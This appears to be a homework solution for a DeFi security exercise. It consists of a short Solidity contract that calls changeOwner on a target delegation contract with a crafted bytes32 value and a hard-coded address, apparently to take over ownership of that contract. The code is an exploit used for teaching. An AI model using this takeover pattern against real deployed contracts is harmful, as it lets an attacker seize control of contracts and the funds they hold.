DeFi HW3 Problem 3

Delegate_test.sol

pragma solidity ^0.8.0;

// SPDX-License-Identifier: MIT

contract Interaction {
    address public sw = 0x5008C5a0167462D2DBE3c90A5f65309aBdCE9EAb;
    bytes32 public _s = 0x0000000000000000000000015008c5a0167462d2dbe3c90a5f65309abdce9eab;

    function doResolve(address _delegationAddr) public {

        (bool result, ) = _delegationAddr.call(abi.encodeWithSignature("changeOwner(bytes32,address)", _s, sw));

        require(result, "haha");
    }
}